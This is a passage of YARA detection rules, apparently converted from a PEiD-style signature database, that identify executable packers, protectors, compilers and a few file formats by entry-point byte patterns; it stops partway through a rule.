+rule _RPolyCrypt_v_10_personal_polycryptor_sign_from_pinch_
+{
+	meta:
+		description = "RPolyCrypt v 1.0 (personal polycryptor) sign from pinch"
+	strings:
+		$0 = {50 58 97 97 60 61 8B 04 24 80 78 F3 6A E8 00 00 00 00 58 E8 00 00 00 00 58 91 91 EB 00 0F 85 6B F4 76 6F E8 00 00 00 00 83 C4 04 E8 00 00 00 00 58 90 E8 00 00 00 00 83 C4 04 8B 04 24 80 78 F1}
+		$1 = {50 58 97 97 60 61 8B 04 24 80 78 F3 6A E8 00 00 00 00 58 E8 00 00 00 00 58 91 91 EB 00 0F 85 6B F4 76 6F E8 00 00 00 00 83 C4 04 E8 00 00 00 00 58 90 E8 00 00 00 00 83 C4 04 8B 04 24 80 78 F1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Sentinel_SuperPro_Automatic_Protection_v641__Safenet_
+{
+	meta:
+		description = "Sentinel SuperPro (Automatic Protection) v6.4.1 -> Safenet"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00 68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 25 FE FF DF 3F 0D 01 00 20 00 A3 ?? ?? ?? ?? 33 C0 50 C7 04 ?? ?? ?? ?? ?? 00 00 00 00 E8}
+		$1 = {A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VProtect2070724Cloud_CoooLie_
+{
+	meta:
+		description = "VProtect.2.0.7.0724.Cloud-> CoooLie"
+	strings:
+		$0 = {8D BF EC FF FF FF 66 F7 D5 8A D2 66 F7 D5 8D BF 14 00 00 00 60 61 60 61 9C 66 8B DB 9D 66 F7 D2 8D 89 E5 FF FF FF 8D B6 E2 FF FF FF 56 5E 8D B6 1E 00 00 00 8D 89 1B 00 00 00 66 F7 D2 66 52 66 5A 55 8D AD F9 FF FF FF 66 F7 D2 8D BF FC FF FF FF 8D BF 04 00 00 00 66 F7 D2 8D AD 07 00 00 00 5D 8B 67 28 66 55 66 5D 61 60 61 8D 9B F0 FF FF FF 8D 80 F6 FF FF FF 66 52 F7 D1 F7 D1 66 5A 8D 80 0A 00 00 00 8D 9B 10 00 00 00 66 87 D1 52 86 FB 86 FB 5A 66 87 D1 66 55 8D 92 E8 FF FF FF 8B DB 8D 92 18 00 00 00 66 5D 9D 56 5E F6 D0 F6 D0 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_224__StrongbitSoftComplete_Development_
+{
+	meta:
+		description = "EXECryptor 2.2.4 -> Strongbit/SoftComplete Development"
+	strings:
+		$0 = {6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {06 8C C8 8E C0 BE ?? ?? 26 ?? ?? 34 ?? 26 ?? ?? 46 81 ?? ?? ?? 75 ?? 40 B3 ?? B3 ?? F3}
+		$2 = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF 5E C3}
+		$3 = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 ?? 00 00 00}
+		$4 = {6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41}
+		$5 = {6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint
+}
+rule _PseudoSigner_02_Lockless_Intro_Pack__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Lockless Intro Pack] --> Anorganix"
+	strings:
+		$0 = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD}
+	condition:
+		$0 at entrypoint
+}
+rule _FMC_Faust_Module_music_file_
+{
+	meta:
+		description = "FMC Faust Module music file"
+	strings:
+		$0 = {46 4D 43 21}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V119_Dll_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.19 Dll (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+		$1 = {80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00}
+		$2 = {80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+		$3 = {80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _NsPacK_V30__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.0 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? ?? ?? 66 8B 06 66 83 F8 00 74}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? ?? ?? 66 8B 06 66 83 F8 00 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_224__StrongbitSoftComplete_Development_h2_
+{
+	meta:
+		description = "EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h2)"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeLock_vxx__RTSoft_
+{
+	meta:
+		description = "Code-Lock vx.x -> RTSoft."
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_C_1990_or_Turbo_C_1988_
+{
+	meta:
+		description = "Turbo C 1990 or Turbo C 1988"
+	strings:
+		$0 = {BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21 8B ?? ?? ?? 8B ?? ?? ?? 8E DA}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEPACK_406_
+{
+	meta:
+		description = "EXEPACK 4.06"
+	strings:
+		$0 = {8C C0 05 10 00 0E 1F A3 04 00 03 06 0C 00 8E C0 8B 0E 06 00 8B F9 4F 8B F7 FD F3 A4 8B 16 0E 00 50 B8 38 00 50 CB 8C C3 8C D8 2B C2 8E D8 8E C0 BF 0F 00 B9 10 00 B0 FF F3 AE 47 8B F7 8B C3 2B C2 8E C0 BF 0F 00 B1 04 8B C6 F7 D0 D3 E8 74 09}
+	condition:
+		$0 at entrypoint
+}
+rule _MASMTASM__sig4_h_
+{
+	meta:
+		description = "MASM/TASM - sig4 (h)"
+	strings:
+		$0 = {FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_DLL_LZMA_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL (LZMA)"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 74 1F 00 00 8D 9D 1E 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_Alternative_stub__Laszlo__Markus_
+{
+	meta:
+		description = "UPX Alternative stub -> Laszlo & Markus"
+	strings:
+		$0 = {EB 02 EB EA EB FC 8A 06}
+	condition:
+		$0 at entrypoint
+}
+rule _Adlib_Sample_Audio_file_
+{
+	meta:
+		description = "Adlib Sample Audio file"
+	strings:
+		$0 = {47 4F 4C 44 20 53 41 4D 50 4C 45}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1353__Obsidium_Software____20080120_
+{
+	meta:
+		description = "Obsidium V1.3.5.3 -> Obsidium Software   * 20080120"
+	strings:
+		$0 = {EB 02 ?? ?? E8 2B 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Vprotect_V17X187__CoooLie_
+{
+	meta:
+		description = "Vprotect V1.7.X-1.8.7 -> CoooLie"
+	strings:
+		$0 = {58 89 03 8B 07 8B 5F 0C 8B 4F 04 8B 57 08 8B 6F 14 8B 77 18 FF 77 24 9D 8B 67 10 C7 47 50 00 00 00 00 8B 7F 1C C3}
+	condition:
+		$0 at entrypoint
+}
+rule _SWAG_Archive_
+{
+	meta:
+		description = "SWAG Archive"
+	strings:
+		$0 = {2D 73 77 31 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v212_
+{
+	meta:
+		description = "ASPack v2.12"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Armadillo_300_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Armadillo 3.00"
+	strings:
+		$0 = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v273_
+{
+	meta:
+		description = "EXE Stealth v2.73"
+	strings:
+		$0 = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 77 0C 00 00 90 8D BD 61 28 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+		$1 = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _NFO_v10_
+{
+	meta:
+		description = "NFO v1.0"
+	strings:
+		$0 = {8D 50 12 2B C9 B1 1E 8A 02 34 77 88 02 42 E2 F7 C8 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_30_by_North_Star_Liu_Xing_Ping_
+{
+	meta:
+		description = "NsPack 3.0 by North Star (Liu Xing Ping)"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 55 F9 FF FF 66 8B 06 66 83 F8 00 74 15 8B F5 8D B5 7D F9 FF FF 66 8B 06 66 83 F8 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 11 F9 FF FF 89 95}
+	condition:
+		$0 at entrypoint
+}
+rule _Safe_20_
+{
+	meta:
+		description = "Safe 2.0"
+	strings:
+		$0 = {83 EC 10 53 56 57 E8 C4 01 00}
+		$1 = {83 EC 10 53 56 57 E8 C4 01 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CRYPTCOM_11_
+{
+	meta:
+		description = "CRYPTCOM 1.1"
+	strings:
+		$0 = {BF E1 FF 57 BE 0E 01 90 B9 1B 00 F3 A4 C3 8B 16 25 01 8B 0E 27 01 BF 00 01 57 BE 29 01 90 AD 33 C2 AB E2 FA C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v02_Beta__Dwing_
+{
+	meta:
+		description = "Upack v0.2 Beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 95 A5 33 C0 33}
+		$1 = {BE 88 01 ?? ?? AD 8B F8 95 A5 33 C0 33}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Windows_9x_User_password_file_
+{
+	meta:
+		description = "Windows 9x User password file"
+	strings:
+		$0 = {E3 82 85 96}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_BJFNT_13__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake .BJFNT 1.3) -> emadicius"
+	strings:
+		$0 = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 61 9D 1F EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+		$1 = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 61 9D 1F EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Crunch_V50__Bitarts_
+{
+	meta:
+		description = "Crunch V5.0 -> Bitarts"
+	strings:
+		$0 = {03 05 C0 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+		$1 = {EB 15 03 00 00 00 06}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_v032a_fake_PECompact_14x__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PECompact 1.4x) -> emadicius"
+	strings:
+		$0 = {EB 06 68 2E A8 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {EB 06 68 2E A8 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _QinYingShieldLicense_V10XV121__Lei_Peng__SignByfly__20080122_
+{
+	meta:
+		description = "QinYingShieldLicense V1.0X-V1.21 -> Lei Peng * Sign.By.fly * 20080122"
+	strings:
+		$0 = {E8 00 00 00 00 58 05 ?? ?? ?? ?? 9C 50 C2 04 00 55 8B EC 56 57 53 34 99 47 49 34 33 EF 31 CD F5 B0 CB B5 B0 A3 A1 A3 A1 B9 FE B9 FE B9 FE B9 FE BF C9 CF A7 D1 BD A3 AC C4 E3 B2 BB D6 AA B5 C0 D5 E2 C0 EF B5 C4 D6 B8 C1 EE CA C7 CA B2 C3 B4 A3 A1 B9 FE B9 FE B9 FE 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_099_
+{
+	meta:
+		description = "PECompact 0.99"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 2F 85 40 00 87 DD 8B 85 B4 85 40 00 01 85 23 85 40 00 66 C7 85 20 85 40 00 90 90 BB C0 09 00 00 03 9D B8 85 40 00 03 9D B4 85 40 00 53 53 53 58 2D 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Protector_v10x_
+{
+	meta:
+		description = "UPX Protector v1.0x"
+	strings:
+		$0 = {EB ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB}
+		$1 = {EB EC ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V1337_20070620__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.3.7 (2007.06.20) -> Obsidium Software"
+	strings:
